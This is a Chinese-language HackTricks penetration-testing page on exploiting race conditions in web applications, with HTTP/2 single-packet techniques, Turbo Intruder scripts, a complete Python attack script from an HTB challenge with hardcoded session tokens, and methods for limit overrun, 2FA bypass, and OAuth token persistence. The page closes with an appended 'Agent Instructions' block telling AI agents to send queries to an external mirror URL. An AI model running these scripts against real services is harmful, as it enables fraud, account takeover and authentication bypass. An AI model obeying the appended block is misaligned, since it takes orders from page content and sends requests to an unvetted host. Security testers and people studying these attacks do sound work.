# Race Condition

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)轻松构建和**自动化工作流**，使用世界上**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

{% hint style="warning" %}
要深入了解此技术，请查看原始报告<https://portswigger.net/research/smashing-the-state-machine>
{% endhint %}

## 加强竞争条件攻击

利用竞争条件的主要障碍是确保多个请求同时处理，其处理时间之间**非常接近—最好小于1毫秒**。

以下是一些同步请求的技术：

#### HTTP/2单数据包攻击 vs. HTTP/1.1最后字节同步

* **HTTP/2**：支持通过单个TCP连接发送两个请求，减少网络抖动的影响。然而，由于服务器端的变化，两个请求可能不足以实现一致的竞争条件利用。
* **HTTP/1.1 '最后字节同步'**：允许预先发送大部分20-30个请求的内容，保留一个小片段，然后一起发送，实现同时到达服务器。

**准备进行最后字节同步**包括：

1. 发送标题和主体数据，但不包括最后一个字节，不结束流。
2. 初始发送后暂停100毫秒。
3. 禁用TCP\_NODELAY以利用Nagle算法批处理最终帧。
4. 发送ping以预热连接。

随后发送保留的帧应导致它们以单个数据包的形式到达，可通过Wireshark验证。此方法不适用于通常不涉及竞争条件攻击的静态文件。

### 适应服务器架构

了解目标的架构至关重要。前端服务器可能会以不同方式路由请求，影响时间。通过无关紧要的请求进行预先的服务器端连接预热，可能会使请求时间正常化。

#### 处理基于会话的锁定

像PHP的会话处理程序这样的框架通过会话对请求进行序列化，可能会隐藏漏洞。为每个请求使用不同的会话令牌可以规避此问题。

#### 克服速率或资源限制

如果连接预热无效，通过故意触发Web服务器的速率或资源限制延迟，通过洪水式的虚拟请求可能有助于通过引发有利于竞争条件的服务器端延迟来促进单数据包攻击。

## 攻击示例

* **Tubo Intruder - HTTP2单数据包攻击（1个端点）**：您可以将请求发送到**Turbo intruder**（`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`），您可以更改请求中要暴力破解的值为\*\*`%s`**，如`csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`，然后从下拉菜单中选择**`examples/race-single-packer-attack.py`\*\*：

<figure><img src="/files/vxjWVCi7NQqHWZILL3zr" alt=""><figcaption></figcaption></figure>

如果您要**发送不同的值**，您可以修改使用剪贴板中的单词列表的代码。

```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```

{% hint style="warning" %}
如果网站不支持HTTP2（仅支持HTTP1.1），请使用`Engine.THREADED`或`Engine.BURP`，而不是`Engine.BURP2`。
{% endhint %}

* **Tubo Intruder - HTTP2单数据包攻击（多个端点）**：如果您需要向一个端点发送请求，然后向其他端点发送多个请求以触发RCE，您可以修改`race-single-packet-attack.py`脚本，类似于：

```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)

# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0

'''

# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt

# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)

# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)

# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```

* 在Burp Suite的**Repeater**中，还可以通过新的**并行发送组**选项来执行此操作。
* 对于**limit-overrun**，您可以在组中**添加相同请求50次**。
* 对于**连接预热**，您可以在组的**开头**添加一些请求到网站的非静态部分。
* 要**延迟**在处理**一个请求和另一个请求之间**的过程，在2个子状态步骤中，您可以在这两个请求之间**添加额外的请求**。
* 对于**多端点**的RC，您可以开始发送**进入隐藏状态的请求**，然后在其后立即发送**50个利用隐藏状态的请求**。

<figure><img src="/files/rnUCdgvwbvJJOcjc9JwJ" alt=""><figcaption></figcaption></figure>

* **自动化Python脚本**：此脚本的目标是在不断验证的同时更改用户的电子邮件，直到新电子邮件的验证令牌到达最后一个电子邮件（这是因为在代码中看到了一个RC，其中可以修改电子邮件，但是验证令牌发送到旧电子邮件，因为指示电子邮件的变量已经填充了第一个电子邮件）。\
  当在收到的电子邮件中找到单词"objetivo"时，我们知道收到了更改电子邮件的验证令牌，然后结束攻击。

```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests

cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"

# change these headers

headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""

bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'

headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"

host = "94.237.56.46"
puerto =39697


url = "https://"+host+":"+str(puerto)+"/email/"

response = requests.get(url, verify=False)


while "objetivo" not in response.text:

urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"

responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one

Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)

print(responseReset.status_code)

h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)

h2_conn.setup_connection()

try_num = 100

stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)

all_headers_frames = []  # all headers frame + data frames which have not the last byte
all_data_frames = []  # all data frames which contain the last byte


for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(  # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)

all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)


# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)

# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)

h2_conn.send_bytes(temp_headers_bytes)




# wait some time
sleep(0.1)

# send ping frame to warm up connection
h2_conn.send_ping_frame()

# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)

resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()

print('---')

sleep(3)
h2_conn.close_connection()

response = requests.get(url, verify=False)
```

### 原始 BF

在之前的研究之前，这些是一些使用的有效载荷，只是尝试尽可能快地发送数据包以引发 RC。

* \*\*Repeater：\*\*查看上一节中的示例。
* **Intruder：将请求**发送到**Intruder**，在**选项菜单**中将**线程数**设置为**30**，选择有效载荷为**Null payloads**并生成**30**。
* **Turbo Intruder**

```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=<session_id_1>','Session=<session_id_2>','Session=<session_id_3>']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)
```

* **Python - asyncio**

```python
import asyncio
import httpx

async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text

async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))

# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)

# Print results
for r in results:
print(r)

# Async2sync sleep
await asyncio.sleep(0.5)
print(results)

asyncio.run(main())
```

## **RC Methodology**

### 限制超限/TOCTOU

这是最基本的一种竞争条件，其中**漏洞**出现在**限制执行某个操作次数的地方**。比如在网店多次使用相同的折扣代码。一个非常简单的例子可以在[**这份报告**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43)或[**这个漏洞**](https://hackerone.com/reports/759247)**中找到**。

这种攻击有许多变种，包括：

* 多次兑换礼品卡
* 多次评价产品
* 超出账户余额提取或转账现金
* 重复使用单个验证码解决方案
* 绕过反暴力破解速率限制

### **隐藏子状态**

利用复杂的竞争条件通常涉及利用与隐藏的或**意外的机器子状态**交互的短暂机会。以下是处理此类情况的方法：

1. **识别潜在的隐藏子状态**
   * 从修改或与关键数据交互的端点入手，例如用户配置文件或密码重置流程。关注以下方面：
     * **存储**：优先选择处理服务器端持久数据的端点，而不是处理客户端数据的端点。
     * **操作**：寻找修改现有数据的操作，这些操作比添加新数据更有可能创建可利用的条件。
     * **键入**：成功的攻击通常涉及使用相同标识符（例如用户名或重置令牌）的操作。
2. **进行初步探测**
   * 使用竞争条件攻击测试已识别的端点，观察是否有与预期结果不符的情况。意外的响应或应用行为的变化可能表明存在漏洞。
3. **展示漏洞**
   * 将攻击范围缩小到利用漏洞所需的最少请求数，通常仅为两个。由于涉及精确的时机，此步骤可能需要多次尝试或自动化。

### 时间敏感攻击

在定时请求中精确控制时间可以揭示漏洞，特别是在安全令牌使用可预测的方法（如时间戳）时。例如，基于时间戳生成密码重置令牌可能会导致同时请求的相同令牌。

**利用方法：**

* 使用精确的时间控制，如单数据包攻击，进行并发密码重置请求。相同的令牌表明存在漏洞。

**示例：**

* 同时请求两个密码重置令牌并进行比较。匹配的令牌表明令牌生成存在缺陷。

**查看此** [**PortSwigger实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **以尝试此操作。**

## 隐藏子状态案例研究

### 支付并添加商品

查看此[**PortSwigger实验室**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation)以了解如何在商店中**支付**并**添加额外**商品而**无需为其付款**。

### 确认其他电子邮件

这个想法是**同时验证一个电子邮件地址并将其更改为另一个**，以查明平台是否验证了更改后的新电子邮件。

### 将电子邮件更改为2个电子邮件地址基于Cookie

根据[**这项研究**](https://portswigger.net/research/smashing-the-state-machine)，Gitlab容易受到这种方式的接管攻击，因为它可能会**将一个电子邮件的电子邮件验证令牌发送到另一个电子邮件**。

**查看此** [**PortSwigger实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **以尝试此操作。**

### 隐藏数据库状态/确认绕过

如果使用**2个不同的写入**向**数据库中添加信息**，则在**仅有第一个数据被写入**数据库的一小段时间内存在漏洞。例如，在创建用户时，**用户名**和**密码**可能会被**写入**，然后写入用于确认新创建帐户的令牌。这意味着在短时间内**用于确认帐户的令牌为空**。

因此，**注册一个帐户并发送多个带有空令牌的请求**（`token=`或`token[]=`或任何其他变体）立即确认帐户可能允许确认一个您无法控制电子邮件的帐户。

**查看此** [**PortSwigger实验室**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **以尝试此操作。**

### 绕过2FA

以下伪代码容易受到竞争条件攻击，因为在**创建会话时2FA未被强制执行**的非常短的时间内：

```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```

### OAuth2永久性持久性

有几个[**OAuth提供者**](https://en.wikipedia.org/wiki/List_of_OAuth_providers)。这些服务将允许您创建一个应用程序并对提供者已注册的用户进行身份验证。为了做到这一点，**客户端**将需要**允许您的应用程序**访问**OAuth提供者**内部的一些数据。\
因此，直到这里只是一个常见的使用google/linkedin/github等登录，您会看到一个页面，上面写着：“*应用程序\<InsertCoolName>想要访问您的信息，您是否允许？*”

#### `authorization_code`中的竞争条件

**问题**出现在您**接受**并自动向恶意应用程序发送\*\*`authorization_code`**时。然后，此**应用程序滥用OAuth服务提供商中的竞争条件\*\*，从\*\*`authorization_code`**为您的帐户生成多个AT/RT（*****认证令牌/刷新令牌*****）。基本上，它将滥用您已经允许应用程序访问您的数据的事实来**创建多个帐户\*\*。然后，如果您**停止允许应用程序访问您的数据，一个AT/RT对将被删除，但其他的仍然有效**。

#### `Refresh Token`中的竞争条件

一旦您**获得了有效的RT**，您可以尝试**滥用它来生成多个AT/RT**，即使用户取消了恶意应用程序访问其数据的权限，**多个RT仍然有效**。

## **WebSockets中的RC**

在[**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC)中，您可以找到一个Java PoC，用于**并行**发送websocket消息以滥用**WebSockets中的竞争条件**。

## 参考资料

* <https://hackerone.com/reports/759247>
* <https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html>
* <https://hackerone.com/reports/55140>
* <https://portswigger.net/research/smashing-the-state-machine>
* <https://portswigger.net/web-security/race-conditions>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>

<figure><img src="/files/PcmnOBrpXxCjYC5y3bif" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks)可以轻松构建和**自动化工作流程**，使用全球**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://hacktricks.xsx.tw/pentesting-web/race-condition.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
